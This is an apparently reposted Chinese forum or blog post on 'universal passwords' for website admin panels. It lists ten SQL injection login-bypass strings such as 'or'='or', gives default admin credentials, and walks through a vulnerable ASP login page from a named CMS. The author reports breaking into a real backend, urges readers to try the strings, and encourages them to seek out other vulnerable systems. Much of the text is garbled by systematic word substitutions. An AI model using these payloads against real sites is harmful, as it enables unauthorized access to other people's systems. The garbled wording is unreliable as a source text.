这万能密码好几年前就有了。我都不当回事,结果此次真派上用场了,还真进了后台了
网站后台万能密码就是在用户名与密码处都写入下列字符,若是知道管理员账号的话直接添账号,效果会更好!
例如咱们要利用第一条就是:
用户名:"or "a"="a
密码:"or "a"="a
*********************************************************
1:"or "a"="a
2: '.).or.('.a.'='.a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
原理都是利用SQL语法来利用注入,其实这也是注入的一种,都是由于提交字符未加过滤或过滤不严而致使的.
其实万能是没有的,默认是不少的,
admin
admin
admin
admin888
少数ASP网页后面登录时能够用密码1'or'1'='1(用户名用admin等试)登录成功。这通常也是SQL注入的第一课,原理涉及到SQL语句……验证登录时,若是密码=输入的密码,那么登录成功,把1' or '1'='1带入即“若是密码=1或者1=1那么登成功”因为1=1恒成立,且“密码=1”与“1=1”是逻辑或的关系,则整句为TRUE,即登录成功。这样说懂不?
其实后台万能登录密码这个称号真的不那么专业,或许叫作“后台验证绕过语句”还好些,不过前者叫得广泛些。
这个语句就是'xor
xor估计不少人都知道,或者据说过,不就是异或么,他和or以及and都是同样的,可是or进行的是或运算,and进行的是与运算,异或xor则是不等的则是真,即比较的两个值不相同的就对,相同的就错,我搜了一下网上,几乎没有过滤参数,能够用经典'or'='or'进去的,'xor均可以进去,你们能够尝试一下。
对网站万能密码'or'='or'的浅解
'or'='or'漏洞是一个比较老的漏洞了,主要是出如今后台登陆上,利用这个漏洞,咱们能够不用输入密码就直接进入系统的后台.它出现的缘由是在编程时逻辑上考虑不周,同时对单引号没有进行过滤,从而致使了漏洞的出现.先给你们简单介绍下漏洞的原理吧,只要你们搞懂了原理,就能够本身去找这样漏洞的系统了.
1:语句:''or'='or' a'or'1=1-- 'or1=1-- "or1=1-- or1=1-- 'or"="a'='a ') or ('a'='a等等,
2:分析利用:我从站长网站下载了"织梦工做室企业全站程序(原良精)修正美化版"源代码,从中找到后台登陆的页面"login.asp"其中有如下一段代码:
<%
(1)pwd = request.form("pwd") "获取客户端输入的密码,再把值赋给pwd"
(2)name = request.form("name") "获取客户端输入的用户名再把值赋给name"
都没有进行任何过滤
(3)Set rs = Server.CreateObject("ADODB.Connection") "利用Server对象的CreateObject方法建立ADO组件的Connection对象"
(4)sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"'" "将用户名和密码放入查询语句中查询数据库"
(5)Set rs = conn.Execute(sql) "执行SQL语句"
(6)If Not rs.EOF = True Then "当前的记录位于Connection对象的最后一个记录以前"
(7)Session("Name") = rs("UserName") "将UserName的属性赋给Name的Session自定义变量"
(8)Session("pwd") = rs("PassWord") "将PassWord的属性赋给pwd的Session自定义变量"
(9)Response.Redirect("Manage.asp")了 "利用Response对象的Redirect方法重定向"Manage.asp"
(10)Else
(11)Response.Redirect "Loginsb.asp?msg=您输入了错误的账号或口令,请再次输入!"
(12)End If
(13)end if
%>
从这段代码中,咱们能够看到后台是采用"Session"验证的,你们知道,还有一种是采用"cookie"验证的,不过原理相同,从分析中,咱们能够看到后台登陆没有对客户输入的用户名和密码进行任何过滤,就交给了SQL语句查询,若是查询的记录是位于最后一条记录以前,刚设置Session变量UserName,PassWord的值分别为Name,pwd,并重定向到"Manage.asp".
从以上分析中.出现了很大的安全漏洞,问题就出如今第一,第二句,它们的功能是得到客户端输入的用户名和密码却没有进行任何的过滤,也不会去检查咱们输入的数据,这样,咱们就能够对其实行攻击,要实行攻击这种漏洞的问题关键就是使SQL语句的查询结果为真,这里咱们又要用到or和and的逻辑运算的知识,我这里不详细的说,就讲二点,
第一:优先原则----出现or同时又出现and时,则先运算and运算符。
第二:and运算符意思,是"且",就是对二个表达式进行逻辑"与"运算(我这儿说的是"且"),而or运算符的意思,是"或",就是对二个表达式进行逻辑"或"运算。
下面是二个运算符的运算结果:
and逻辑运算的结果:真----真===真;假----真===假; 真----假===假; 假----假===假.
or逻辑运算的结果:真----真===真;假----真===真; 真----假===真; 假----假===假.
你们本身能够体会下
下面咱们先来看代码中的SQL查询语句" sql = "select * from Manage_User where UserName='" & name & "' And PassWord='"&encrypt(pwd)&"' " ,要使这条语句执行为真,咱们就要构造一个特殊的用户名,就可绕过程序的验证,进入后台,咱们只要在用户名处输入'or'='or',密码处随便输入字符(咱们就输入000吧),这样上面的SQL语句就变成了sql = "select * from Manage_User where UserName=''or'='or''and PassWord='000'"那么where后的语句转换成逻辑语句后为假or真or假and假,经过简单的运算,则最终为真,而SQL语句的查询结果也变成真了,这样你们可能还不怎么听得懂,我换成另外一条语句:1' or 1=1 or '1'='1,那么SQL语句就变成了sql = "select * from Manage_User where UserName='1' or 1=1 or '1'='1' and PassWord='000'"你们知道,在逻辑表达式中'1'是为假,1=1总为真吧,'1'='1'也为真,而密码咱们是随便输入的因此为假,那么where后的语句转换成逻辑语句后为假or真or真and假,最终的运算结果也为真.这些你们本身慢慢的去实践,去体会,我相信你们都会搞懂的,你们还能够本身构造一些语句去验证下.
对于Session验证的,咱们还能够进行Session欺骗(你们都知道cookie欺骗登陆了吧,呵呵),假设咱们知道这个系统的管理员的用户名为admin,那么咱们只需在密码处输入的语句使它的运算结果为真就好了,这儿留给你们本身构造.
coolie验证的登陆原理和Session"验证的相同,只要你们构造的语句使的SQL的执行为真就好了,这是关键哟,你们可记住了!sql